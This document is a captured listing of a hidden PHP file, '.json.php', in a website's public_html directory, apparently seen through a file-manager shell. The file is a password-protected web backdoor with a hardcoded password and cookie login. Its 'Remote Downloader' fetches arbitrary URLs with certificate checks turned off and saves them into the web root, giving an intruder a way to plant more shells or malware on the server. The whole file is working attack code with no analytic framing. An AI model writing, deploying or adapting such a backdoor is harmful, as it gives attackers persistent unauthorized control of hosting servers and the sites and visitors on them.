Current directory: /home/advancloud/public_html

File content: /home/advancloud/public_html/.json.php

<?php
error_reporting(0);ini_set('display_errors','0');
define('_DP','kishoriya');define('_DK','_dlx');define('_DT',md5(_DP.'!dl9k2s!'));
function _dr($u){header('Location: '.$u);exit;}
function _ds(){return isset($_SERVER['PHP_SELF'])?$_SERVER['PHP_SELF']:__FILE__;}
if(isset($_POST['_p'])&&md5((string)$_POST['_p'].'!dl9k2s!')===_DT){setcookie(_DK,_DT,0,'/');_dr(_ds());}
if(isset($_POST['_o'])){setcookie(_DK,'',0,'/');_dr(_ds());}
$auth=isset($_COOKIE[_DK])&&$_COOKIE[_DK]===_DT;
if(!$auth){?><!DOCTYPE html><html><head><meta charset="utf-8"><meta name="x-dlid" content="dlk-9k2s">
<title>DL</title><style>
*{box-sizing:border-box}body{margin:0;background:#0d0d0d;display:flex;justify-content:center;
align-items:center;min-height:100vh;font-family:monospace}
.b{background:#1a1a1a;border:1px solid #333;border-radius:8px;padding:32px;min-width:270px}
h3{margin:0 0 16px;color:#ccc;font-weight:400}
input{display:block;width:100%;padding:8px 12px;background:#111;border:1px solid #444;
color:#ddd;border-radius:4px;font-size:13px;margin-bottom:10px}
button{width:100%;padding:8px;background:#1a6fd8;color:#fff;border:none;
border-radius:4px;cursor:pointer;font-size:13px}
</style></head><body><div class="b"><h3>Remote DL</h3>
<form method="post"><input type="password" name="_p" placeholder="Password" autofocus>
<button>Login</button></form></div></body></html><?php exit;}
$me=htmlspecialchars(_ds());
$dr=isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:dirname(__FILE__);
$msg='';$mok=true;
if(!empty($_POST['_u'])){
$url=(string)$_POST['_u'];
$name=isset($_POST['_n'])&&(string)$_POST['_n']!==''?basename((string)$_POST['_n']):basename((string)@parse_url($url,PHP_URL_PATH));
if(!$name)$name='file_'.time();$dst=$dr.'/'.$name;$ok=false;
if(!$ok&&function_exists('curl_init')){
$ch=curl_init($url);curl_setopt_array($ch,array(CURLOPT_RETURNTRANSFER=>1,
CURLOPT_FOLLOWLOCATION=>1,CURLOPT_TIMEOUT=>60,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0));
$d=curl_exec($ch);curl_close($ch);
if(is_string($d)&&strlen($d)>0)$ok=(@file_put_contents($dst,$d)!==false);}
if(!$ok&&ini_get('allow_url_fopen')){
$ctx=@stream_context_create(array('http'=>array('timeout'=>60,'follow_location'=>1),
'ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false)));
$d=@file_get_contents($url,false,$ctx);
if($d!==false&&strlen($d)>0)$ok=(@file_put_contents($dst,$d)!==false);}
if(!$ok){$fi=@fopen($url,'rb');if($fi){$fo=@fopen($dst,'wb');
if($fo){while(!feof($fi)){fwrite($fo,fread($fi,8192));}fclose($fo);$ok=true;}fclose($fi);}}
if($ok)$msg='Saved: '.$dst;else{$msg='Download failed';$mok=false;}
}?><!DOCTYPE html><html><head><meta charset="utf-8"><title>Remote DL</title>
<style>*{box-sizing:border-box}body{margin:0;padding:16px;background:#0d0d0d;color:#ccc;
font-family:monospace;font-size:13px}b{color:#eee}
input[type=url],input[type=text]{background:#111;border:1px solid #333;color:#ccc;
padding:6px 8px;border-radius:4px;width:100%;margin-bottom:6px}
.btn{background:#1a6fd8;color:#fff;border:none;padding:6px 14px;border-radius:4px;cursor:pointer}
.msg{padding:6px 10px;border-radius:4px;margin:8px 0;font-size:12px}
.ok{background:#0a2a10;border:1px solid #1a4a20;color:#5dba6f}
.er{background:#2a0a0a;border:1px solid #4a1a1a;color:#e06060}
</style></head><body>
<b>Remote Downloader</b>
<form method="post" style="float:right"><button class="btn" name="_o" value="1">Logout</button></form>
<br><br>
<?php if($msg):?><div class="msg <?php echo $mok?'ok':'er';?>"><?php echo htmlspecialchars($msg);?></div><?php endif;?>
<form method="post">
<input type="url" name="_u" placeholder="https://host/file.php"><br>
<input type="text" name="_n" placeholder="Save as filename (optional)"><br>
<button class="btn">Download &amp; Save</button></form>
<p style="color:#333;font-size:11px">Dir: <?php echo htmlspecialchars($dr);?></p>
</body></html>

Upload file